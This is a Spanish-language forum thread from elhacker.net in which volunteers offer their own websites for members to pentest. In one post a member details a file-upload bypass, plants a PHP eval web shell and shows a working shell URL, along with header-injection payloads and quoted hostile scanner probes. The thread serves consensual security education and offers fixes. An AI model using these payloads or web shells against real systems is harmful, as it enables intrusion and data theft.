Foro de elhacker.net

Seguridad Informática => Hacking Ético => Mensaje iniciado por: WHK en 28 Julio 2020, 05:04



Título: Incinera tu sitio WEB!
Publicado por: WHK en 28 Julio 2020, 05:04
Hola a todos!, se me ha ocurrido una buena idea para que todos podamos aprender de seguridad de manera didáctica, real y sin meternos en problemas. La idea es la siguiente:

¿Eres dueño de un sitio WEB?

Haz pasar por el fuego a tu sitio WEB!

(https://lh3.googleusercontent.com/proxy/6wPTn0xzcr-oAcE44QNLh9-yRi2F40RI7FYZfNVi-ZC9DIMZUHrtIo9HWT3pvqvCJAVhkN1k3HBCJXRT9LpjMBo4S2Q-Y2rH7gL-WDa3uS-XelIqtkogQ1l6S_Rknec0rUOj10s)

Danos la oportunidad de revisar la seguridad de tu sitio entregandonos de manera voluntaria la URL, claramente debes ser el dueño y para asegurarnos de ello debes crear un registro TXT en tu dominio con la palabra "elhacker.net", si lo haces, entonces entre los mismos usuarios del foro le daremos un vistazo a tu sitio web y eso nos permitrá intercambiar ideas y técnicas para aprender mutuamente, y de pasada podrás corregir tus vulnerabilidades antes de que alguien más las encuentre y las aproveche para un ataque real no controlado.


¿Quieres ser el Pentester?

O para los que no conozcan el término: El atacante.

(https://cdn.memegenerator.es/imagenes/memes/full/18/91/18912135.jpg)

Sólo se pide algo de sentido común, acá la idea no es botar un sitio o hacerle daño, la idea es demostrar una vulnerabilidad, publicarlo en este mismo hilo y demostrar como lo hizo. Asi que:

- No se permiten ataques DOS ni DDOS ni nada que indisponga al sitio WEB.
- No se permite robar información de la base de datos.
- No se deben modificar archivos o datos de la db.
- La vulnerabilidad debe ser comprobable más que teórica.
- Publicar vulnerabilidades reales, nada de que le faltan cabeceras x frame options y basuras similares.
- Solo se debe revisar mientras exista el registro TXT en su dominio.

Cómo revisar si el dominio contiene el registro TXT correcto?: Desde el bash se debe ejecutar:

Código:
$ dig -t txt dominio.com

Si usas windows puedes usar la PowerShell:

Código:
PS> Get-Dns -Name dominio.com -Type TXT


¿Reglas?

Se vale todo, menos afectar la integridad o privacidad del mismo sitio. Esto quiere decir que no solo debemos restringirnos a una revisión web, tambien se vale revisar subdominios, puertos, etc, todo aquello que sirva para poder llegar al sitio WEB en cuestión (si, incluyendo la del proveedor de hosting).


¿Entregables?

Vamos, esto es un foro, el que quiera puede publicar sus hallazgos en un simple post o puede hacer un pdf a modo de informe, todo dependerá de quien lo haga, acá no hay un "esperable" o un "entregable", eso depende de cada uno.

De todas maneras, si se recomienda poder dar posibles soluciones por cada vulnerabilidad que encuentre (dentro de lo posible).




Vamos, esto es bien fácil, si tienes un sitio WEB permítenos que le demos un vistazo, eso es todo y los que lo revisemos podremos aplicar técnicas reales sobre sistemas reales. Muchas veces nos encontramos con CTF que no reflejan la realidad o solo debes estar adivinando cosas, la idea es poder ganar experiencia real en sistemas reales con vulnerabilidades reales.

Alguien se apunta?, solo basta con entregar su URL y agregar el registro TXT, si el dominio no tiene el registro TXT entonces abtenerse de revisarlo porque puede que realmente no sea el dueño del sitio WEB.


Título: Re: Incinera tu sitio WEB!
Publicado por: Drakaris en 28 Julio 2020, 10:45
Me gusta la idea! He desarrollado mi web hace un tiempo y tengo curiosidad de que vulnerabilidades tengo.

Este sitio web esta hospeado en 260MB la url es https://cleanet.260mb.net
TXT: https://cleanet.260mb.net/hackme.txt


Título: Re: Incinera tu sitio WEB!
Publicado por: kub0x en 28 Julio 2020, 16:44
Este sitio web esta hospeado en 260MB la url es https://cleanet.260mb.net
TXT: https://cleanet.260mb.net/hackme.txt

Un .txt no es válido, sino que el DNS debe contener la palabra elhacker.net en el registro TXT. Al estar hosteado en 260MB supongo que no podrás cambiar esa información.

Saludos.


Título: Re: Incinera tu sitio WEB!
Publicado por: Drakaris en 28 Julio 2020, 18:01
Un .txt no es válido, sino que el DNS debe contener la palabra elhacker.net en el registro TXT. Al estar hosteado en 260MB supongo que no podrás cambiar esa información.

Saludos.
Ahh! Entiendo... En este caso no puedo porque tendría que tocar el servidor DNS... Y poner la siguiente regla por ejemplo:

cleanet        IN        TXT        elhacker

Tendría que hacer algo así?


Título: Re: Incinera tu sitio WEB!
Publicado por: WHK en 28 Julio 2020, 21:19
Citar
Este sitio web esta hospeado en 260MB la url es https://cleanet.260mb.net
TXT: https://cleanet.260mb.net/hackme.txt

Bien, claramente no podrá crear un registro TXT en su subdominio porque es un hosting por subdominios, asi que no podrá crear el registro. Creo que de todas maneras en estos casos si valdrá un archivo .txt.

El sitio WEB es casi en su totalidad estático y casi no tiene secciones, asi que es muy poco lo que se puede revisar, a demás, es un hosting compartido asi que tampoco se puede hacer mucho a su infraestructura, pero, si tiene un formulario de contacto.

Pude ver dos acciones distintas en el sitio WEB, uno encargado de hacer el envío del mensaje de contacto y otro para cambiar el lenguaje, extrañamente cuando quieres cambiar el lenguaje a un lenguaje inexistente la pagina web se muestra en blanco en ves de arrojar un error o simplemente mostrar un lenguaje por defecto, supongo que efectivamente hay un error pero errors_display está deshabilitado desde php.

El formulario de contacto tiene un problema, actualmente para enviar un correo debes resolver un valor en AES y luego enviarlo a traves de una cookie, muy ingenioso ya que te exije tener habilitado javascript, pero esto no evita bots. La validación del lado de PHP es estática, asi que en la práctica da igual si utilizas el valor de AES del momento o uno que ya haya sido utilizado, el servicio te arroja un estado de "enviado" cada ves que reenvías la misma solicitud utilizando el mismo hash en AES:

Probando sin la cookie:

Código:
ncat --ssl --crlf -v cleanet.260mb.net 443

POST /email.php HTTP/1.1
Host: cleanet.260mb.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 36
Origin: https://cleanet.260mb.net
Connection: Close
Referer: https://cleanet.260mb.net/

asunto=test&mensaje=test&anonimo=on

Respuesta del servidor:

Código:
<html><body><script type="text/javascript" src="/aes.js" >
</script><script>function toNumbers(d){var e=[];
d.replace(/(..)/g,function(d){e.push(parseInt(d,16))});
return e}function toHex(){for(var d=[],d=1==arguments.length&&
arguments[0].constructor==Array?arguments[0]:arguments,e="",
f=0;f<d.length;f++)e+=(16>d[f]?"0":"")+d[f].toString(16);
return e.toLowerCase()}var a=toNumbers("f655ba9d09a112d4968c63579db590b4"),
b=toNumbers("98344c2eee86c3994890592585b49f80"),
c=toNumbers("03b479870acf0ba0ff959ab28fb1dfe9");document.cookie="__test="+toHex(slowAES.decrypt(c,2,a,b))+";
 expires=Thu, 31-Dec-37 23:55:55 GMT; path=/";
 location.href="https://cleanet.260mb.net/email.php?i=1";</script>
<noscript>This site requires javascript to work, please enable
javascript in your browser or use a browser with javascript support</noscript>
</body></html>

Probando con una cookie estática múltiples veces:

Código:
ncat --ssl --crlf -v cleanet.260mb.net 443

POST /email.php HTTP/1.1
Host: cleanet.260mb.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 36
Origin: https://cleanet.260mb.net
Connection: Close
Referer: https://cleanet.260mb.net/
Cookie: __test=17544cb0f7e91786eec69621b893d683;

asunto=test&mensaje=test&anonimo=on


HTTP/1.1 200 OK
Server: nginx
Date: Tue, 28 Jul 2020 19:00:38 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Cache-Control: max-age=0
Expires: Tue, 28 Jul 2020 19:00:36 GMT

4
sent
0

Ok, este hash de la cookie la he reutilizado varias veces y el servidor me sigue diciendo que el mensaje ha sido enviado, asi que esto puede provocar un abuso del servicio.

No se sabe exactamente si PHP del lado del servidor hace el envío de un correo o almacena los mensajes en un txt, pero si se envían correos a traves de la función mail() entonces hay un problema serio y es que el envío masivo de correos puede provocar que caigas en listas negras o den de baja tu hosting y termines con tu sitio web abajo.

También intenté verificar si el formulario de correos tiene inyección de cabeceras:

Código:
asunto=test%0a%0cReply-To:%20test@demo.com&mensaje=test%0a%0a.%0a&anonimo=on

Ya que mail() de php adjunta las cabeceras de manera plana separadas por saltos de línea \r\n, pero no se si realmente funcionó porque no puedo hacer que me llegue una copia del correo, asi que podrías validar tu mismo, si realiza el filtrado de saltos de línea o no.

También pude ver un directory listing: https://cleanet.260mb.net/lang/ , esto no causa ningún problema, pero si puede dar problemas serios si tienes algún directorio oculto que no esté protegido, por ejemplo, alguna carpeta donde almacenes los mensajes del formulario de contacto o algún plugin de php de terceros que pueda ser llamado de manera directa, como por ejemplo: https://cleanet.260mb.net/plugins/PHPMailer-master/src/

Saludos.


Título: Re: Incinera tu sitio WEB!
Publicado por: @XSStringManolo en 29 Julio 2020, 02:35
https://phishingoda.ga/hackme.txt

Le añadí un easter egg por si no tiene vulnerabilidades reales.


Título: Re: Incinera tu sitio WEB!
Publicado por: BloodSharp en 29 Julio 2020, 03:32
Le añadí un easter egg por si no tiene vulnerabilidades reales.

Cita de: Banner
HTTP/1.1 200 OK
Date: Sun, 12 Jul 2020 22:01:11 GMT
Server: Apache/2.4.38 (Debian)
h4x0r: what are you looking for?
Content-Length: 0
Content-Type: text/html; charset=UTF-8

 ;-) :laugh: :xD

Por otro lado el servidor donde está hosteado tiene 6 CVE potenciales del 2019...


B#


Título: Re: Incinera tu sitio WEB!
Publicado por: Drakaris en 29 Julio 2020, 13:10
El formulario de contacto tiene un problema, actualmente para enviar un correo debes resolver un valor en AES.
Buenas no entiendo, que es un valor en AES, yo programé el envio de correo gracias a PHPMailer

Cita de: WHK
Ok, este hash de la cookie la he reutilizado varias veces y el servidor me sigue diciendo que el mensaje ha sido enviado, asi que esto puede provocar un abuso del servicio.
Con esto te refieres a que, un cliente puede escribir un mensaje enviarlo, y enviar este mensaje, sin cambiarlo, tantas veces como quiera? O a que te refieres? Y con el mismo hash AES?

Cita de: WHK
También pude ver un directory listing: https://cleanet.260mb.net/lang/ , esto no causa ningún problema, pero si puede dar problemas serios si tienes algún directorio oculto que no esté protegido, por ejemplo, alguna carpeta donde almacenes los mensajes del formulario de contacto o algún plugin de php de terceros que pueda ser llamado de manera directa, como por ejemplo: https://cleanet.260mb.net/plugins/PHPMailer-master/src/
Ok, esto ya lo solucioné, inserté en un archivo .htaccess la siguiente linea:
Código:
Options -Indexes
Así ya cuando accedes a la url https://cleanet.260mb.net/lang/ te arrojará un errro 403


Título: Re: Incinera tu sitio WEB!
Publicado por: @XSStringManolo en 29 Julio 2020, 13:33
;-) :laugh: :xD

Por otro lado el servidor donde está hosteado tiene 6 CVE potenciales del 2019...


B#
Cuales? Supongo que lo has mirado con un scanner auto que te avisa de vulnerabilidades de software opcional.


Título: Re: Incinera tu sitio WEB!
Publicado por: Shell Root en 29 Julio 2020, 15:29
Buenas no entiendo, que es un valor en AES, yo programé el envio de correo gracias a PHPMailer
Tipo de encryptación.

Con esto te refieres a que, un cliente puede escribir un mensaje enviarlo, y enviar este mensaje, sin cambiarlo, tantas veces como quiera? O a que te refieres? Y con el mismo hash AES?
Se supone que cada petición debe de validar un hash diferente, algo como Tokens CSRF, en cada petición cambia el token y debe de validarse así se evita automatización de peticiones. Corrigeme si estoy mal WHK!


Título: Re: Incinera tu sitio WEB!
Publicado por: MinusFour en 29 Julio 2020, 16:12
Lo del AES no es algo que el haya programado o configurado si el hosting es compartido. Es una medida de seguridad que está usando el servidor para prevenir DDoS.

https://kyprizel.github.io/testcookie-nginx-module/

Es simplemente un JS challenge.


Título: Re: Incinera tu sitio WEB!
Publicado por: Drakaris en 29 Julio 2020, 17:07
También intenté verificar si el formulario de correos tiene inyección de cabeceras:

Código:

asunto=test%0a%0cReply-To:%20test@demo.com&mensaje=test%0a%0a.%0a&anonimo=on


Ya que mail() de php adjunta las cabeceras de manera plana separadas por saltos de línea \r\n, pero no se si realmente funcionó porque no puedo hacer que me llegue una copia del correo, asi que podrías validar tu mismo, si realiza el filtrado de saltos de línea o no.

Sí, el formulario es vulnerable a inyeccion de cabeceras, cuando heche un vistazo a mi correo, vi un correo recibido el 28 julio 9:23pm con el asunto "test Reply-To:test@demo.com | Cleanet". Y con el cuerpo: "test".

No se te envió porque esta programado para que se me envie a mi correo. Esto lo que hace es conectarse al gmail de mi cuenta (cleanet) y lo reenvia a la propia.


Título: Re: Incinera tu sitio WEB!
Publicado por: MinusFour en 29 Julio 2020, 19:07
Sí, el formulario es vulnerable a inyeccion de cabeceras, cuando heche un vistazo a mi correo, vi un correo recibido el 28 julio 9:23pm con el asunto "test Reply-To:test@demo.com | Cleanet". Y con el cuerpo: "test".

No se te envió porque esta programado para que se me envie a mi correo. Esto lo que hace es conectarse al gmail de mi cuenta (cleanet) y lo reenvia a la propia.

Eso significa que no eres vulnerable o al menos no eres vulnerable por el metodo que uso WHK. Si pudieras inyectar cabeceras, hubieras visto el "Reply-To" en las cabeceras del correo y no en el asunto del correo.


Título: Re: Incinera tu sitio WEB!
Publicado por: AlbertoBSD en 29 Julio 2020, 20:50
;-) :laugh: :xD

Por otro lado el servidor donde está hosteado tiene 6 CVE potenciales del 2019...

B#

Yo administro ese servidor.

Tendré que revisar cuales son, mantengo al dia con la linea de software oficinal de Debian 10, pero si es posible que exista algo, tendré que mirar que es.


Título: Re: Incinera tu sitio WEB!
Publicado por: WHK en 30 Julio 2020, 02:59
Tipo de encryptación.
Se supone que cada petición debe de validar un hash diferente, algo como Tokens CSRF, en cada petición cambia el token y debe de validarse así se evita automatización de peticiones. Corrigeme si estoy mal WHK!

Asi es, ese formulario debiera tener una captcha con un hash de validación único, como recaptcha. En ves de tener que programar todo el formulario de contacto agregandole captchas y demás, sale mucho mas fácil y eficiente poner el correo de contacto ofuscado y que la misma gente envíe el correo desde sus propios clientes.


Título: Re: Incinera tu sitio WEB!
Publicado por: jhonatanAsm en 30 Julio 2020, 07:57
Hola chicos, me sumo a la causa:
https://choquecota.duckdns.org/file

la página principal:
https://choquecota.duckdns.org/home

la página secundaria:
https://choquecota.duckdns.org/poste

espero puedan encontrar vulnerabilidades  :silbar:

salu2


Título: Re: Incinera tu sitio WEB!
Publicado por: WHK en 30 Julio 2020, 09:56
Nopues, primero termina de construir el sitio xD solo es un proyecto hecho en Java Spring con un template que no hace nada xD, ni si quiera el buscador funciona.


Título: Re: Incinera tu sitio WEB!
Publicado por: jhonatanAsm en 30 Julio 2020, 14:40
Me estas queriendo decir q de momento la pagina es invulnerable, y quieres q te de chance programando una funcionalidad, en la cual posiblemente programe mal y asi llegue a ser vulnerable, puesss vuamoss xD.
Por siacaso a nivel de infraestructura esta en la nube de goigle, montado en un cluster kubernetes con ingress, usando spring boot 2 y angular 8 o 7 no recuerdo. espero ayuden estos datos, espero poder añadir el buscador pronto, les aviso.

Salu2


Título: Re: Incinera tu sitio WEB!
Publicado por: Caroxh1 en 5 Septiembre 2020, 20:09
Hola, esta un una página web que hice hace unos meses para un proyecto de la U, estoy seguro que tiene muchas vulnerabilidades yo eh visto algunas pero ya que fue solo un proyecto supongo que lo dejé así. La página tiene dos sitios principales http://musicdum.260mb.net/ http://musicdum.260mb.net/index.php  también cuenta con sistema de login. Algunos enlaces los quité por temas de privacidad.

archivo http://musicdum.260mb.net/elhacker.net.html

Espero aprender mucho con lo que expliquen por acá. :D


Título: Re: Incinera tu sitio WEB!
Publicado por: WHK en 5 Septiembre 2020, 23:01
Hola Caroxh1, tu sistema de compras tiene algunos errores muy graves.

Cuando te creas una cuenta y accedes con un usuario y tratas de ir al ícono del perfil del usuario puedes ver lo siguiente en el código fuente:

http://musicdum.260mb.net/usuarios/perfilusuario.php

Código:
<a href='../admins/salir.php'>Salir</a> <h1></h1>

¿admins?, porque a un usuario sin privilegios se le muestra una ruta que dice admins?, asi que voy a http://musicdum.260mb.net/admins/ y veo que tiene directory listing:

http://musicdum.260mb.net/admins/

Código:
[PARENTDIR] Parent Directory                             -   [unknown item..]
[TXT] salir.php               2020-08-03 13:30  110   PHP: Hypertext Preprocessor script
[TXT] ingresarproductos.php   2020-08-05 15:10  2.7K  PHP: Hypertext Preprocessor script
[TXT] datosimagen.php         2020-08-23 13:22  1.2K  PHP: Hypertext Preprocessor script

http://musicdum.260mb.net/php/

Código:
Icon  Name                    Last modified      Size  Description[PARENTDIR] Parent Directory                             -   [unknown item..]
[TXT] eliminarCarrito.php     2020-07-26 14:41  542   PHP: Hypertext Preprocessor script
[TXT] conexion2.php           2020-08-07 20:08  2.3K  PHP: Hypertext Preprocessor script
[TXT] conexion.php            2020-07-26 15:18  263   PHP: Hypertext Preprocessor script

El directorio /php/ lo obtuve desde el carrito de compras.

Asi que por curiosidad entro a http://musicdum.260mb.net/admins/ingresarproductos.php y me doy cuenta que puedo administrar tus productos sin ser admin.

Por lo que veo tu sistema utiliza secciones que debiesen estar controladas por distintos privilegios y para eso debes crear roles de usuarios, si el usuario no es admin entonces no debiera cargar las paginas de administración y a los directorios sin un index debes crearles un index.html en blanco o un php que haga una redirección al home.

Por otro lado, cuando intentas agregar un producto al carro de compras, no funciona el modificar cantidad porque arroja un 404 y el de eliminar producto arroja un error 500.

A demás, cuando agregas un producto la imagen se sube de manera directa tal cual al servidor, con el mismo nombre y el mismo archivo al directorio público, asi que, si logras bypasear el filtro de tipo de extension de archivo talves se pueda subir una shell y con eso acceder a la db y a los archivos php.

EDITO: ya pude subir la shell. Veo que solo valida el content-type de la cabecera de la petición pero no el contenido o la extensión del archivo, por ejemplo:

Código:
$ ncat --crlf -v musicdum.260mb.net 80
POST /admins/datosimagen.php HTTP/1.1
Host: musicdum.260mb.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=---------------------------19531431397062997021845851424
Content-Length: 865
Origin: http://musicdum.260mb.net
DNT: 1
Connection: keep-alive
Referer: http://musicdum.260mb.net/admins/ingresarproductos.php
Cookie: ...

-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="instrumento"

Ukelele
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="descripcion"

x
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="precio"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="categoria"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="inventario"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="imagen"; filename="x.php"
Content-Type: image/png

<?php phpinfo(); ?>
-----------------------------19531431397062997021845851424--


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Sep 2020 21:15:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: max-age=0
Expires: Sat, 05 Sep 2020 21:15:48 GMT

84
<script type="text/javascript">
      alert("Registro exitoso");
      window.location.href="ingresarproductos.php";
      </script>

Como puedes ver en http://musicdum.260mb.net/images/ el archivo x.php se ha subido al servidor sin problemas.

Esto sucede principalmente porque obtienes el nombre del archivo tal cual viene en la petición y lo concatenas con el directorio de subida de archivos, en ves de eso debes ponerle un nombre forzado, por ejemplo, el md5 del nombre original y cambiar la manera en que estás procesando el tipo de archivo permitido.

Ahi va la shell: http://musicdum.260mb.net/images/salir.php (por alguna extraña razón el servidor no permite visualizar el archivo x.php, talves por lo corto del nombre, quien sabe).

Citar
PHP Version 7.4.8
/home/vol12_6/260mb.net

Con eso ya puedes tomar el control de todo el sistema web, modificar archivos, acceder a la base de datos, etc.

Mira, he subido una shell real:

Código:
<?php eval(urldecode(hex2bin($_GET['ex']))); ?>

view-source:http://musicdum.260mb.net/images/server.php?ex=7072696e745f7228676c6f6228272e2e2f2a2729293b

Código:
Array
(
    [0] => ../admins
    [1] => ../assets
    [2] => ../carrito.sql
    [3] => ../cart.php
    [4] => ../checkout.php
    [5] => ../contact.php
    [6] => ../css
    [7] => ../elhacker.net.html
    [8] => ../evaluacion.php
    [9] => ../files for your website should be uploaded here!
    [10] => ../fondo.jpg
    [11] => ../fonts
    [12] => ../imagenes
    [13] => ../images
    [14] => ../index.html
    [15] => ../index.php
    [16] => ../ingresar.php
    [17] => ../js
    [18] => ../layouts
    [19] => ../php
    [20] => ../registers.php
    [21] => ../registrar.php
    [22] => ../scss
    [23] => ../shop-single.php
    [24] => ../thankyou.php
    [25] => ../usuarios
)

Tu archivo conexion.php:

Código:
<?php
  $servidor="sql204.260mb.net";
  $nombreBd="n260m_[OCULTO]_carrito";
  $usuario="n260m_[OCULTO]";
  $pass="[OCULTO]";
  $conexion = new mysqli($servidor,$usuario,$pass,$nombreBd);
  if ($conexion->connect_error) {
    die("No se pudo conectar");
  }


 ?>

Por otro lado, el archivo ingresar.php el cual sirve para la autenticación:

Código:
<?php
include'php/conexion.php';
session_start();
$username = $_POST['usuario'];
$password = $_POST['password'];

$query = "SELECT * FROM usuario WHERE email =?";
$stmt = $conexion->prepare($query);
$stmt->bind_param("s",$username);
$stmt->execute();
$result = $stmt->get_result()->fetch_assoc();
if (password_verify($password, $result['password']) && $result['nivel']==2) {
  $_SESSION['username'] = $username;
    header("location: ./admins/ingresarproductos.php");
}else if (password_verify($password, $result['password'])) {
  $_SESSION['username'] = $username;
    header("location: ./index.php");
}else {
  header("Location: registrar.php");

}
 ?>

Está muy bien que hagas bind de parámetros en la consulta sql para evitar inyecciones y me ha gustado que priorizes el uso de funciones nativas como password_verify().

Hay otros errores menores como por ejemplo solicitar contraseñas en un login que no tiene https y demás, pero son cosas básicas que no valen la pena mencionar.

Para los demás usuarios que están leyendo este post, les pido un poco de sentido común, para que podamos continuar realizando revisiones sin problemas, no sobreescriban ningún archivo de ese sitio ni se pongan a extraer o a publicar información de su base de datos. Mientras tanto, les puede servir para realizar pruebas e intentar llegar hasta donde yo lo hice para tomar mayor experiencia.

Gracias Caroxh1 por la oportunidad.

Saludos.


Título: Re: Incinera tu sitio WEB!
Publicado por: warcry. en 9 Septiembre 2020, 15:50
editado: servidor ya no disponible  ;)


Título: Re: Incinera tu sitio WEB!
Publicado por: colcrt en 12 Septiembre 2020, 10:09
tengo una web de gatos donde escribo aveces la dejo por aqui  :xD https://bit.ly/3hvlm4g (https://bit.ly/3hvlm4g)


Título: Re: Incinera tu sitio WEB!
Publicado por: warcry. en 15 Septiembre 2020, 21:55
bueno, en estos días no ha habido movimientos salvo las cuatro ips rusas dando por saco

Citar
195.54.160.21:57988 Requested GET /?XDEBUG_SESSION_START=phpstorm
195.54.160.21:35304 Requested GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>

así que entiendo que no ha generado interés, por lo que dehabilito el server para pruebas

un saludo


Título: Re: Incinera tu sitio WEB!
Publicado por: zellion en 16 Septiembre 2020, 09:48
Por mi parte, sigo el tema, pero no tengo los conocimientos para hacer este tipo de revisiones  :-\.


Título: Re: Incinera tu sitio WEB!
Publicado por: Xyzed en 24 Septiembre 2020, 21:09
Qué genialidad whk, estaré atento acá para ver si alguno de los errores de los demás me sirve  ;-)


Título: Re: Incinera tu sitio WEB!
Publicado por: WHK en 25 Septiembre 2020, 05:30
warcry. , en su momento vi tu sitio web y me gustó mucho, de hecho se lo mostré a un amigo, nos recordó bastante a los sitios webs que haciamos antiguamente, solo que era totalmente estático y casi no tenia secciones, entonces no hubo mucho que revisar.

colcrt he revisado tu sitio y no se ve mal, no es mucho lo que tiene pero si se ve que tiene un wordpress bien actualizado y no hay mucho por donde buscarle salvo la captcha en la pagina de contacto que se ve bien facil de evadir y automatizar, pero ya es otro tema. Lo que si se es que revisando tu sitio web aprendí muchas cosas sobre los gatos que no sabía y estuvo bien interesante xD

Bienvenido Xyzed :)

Saludos.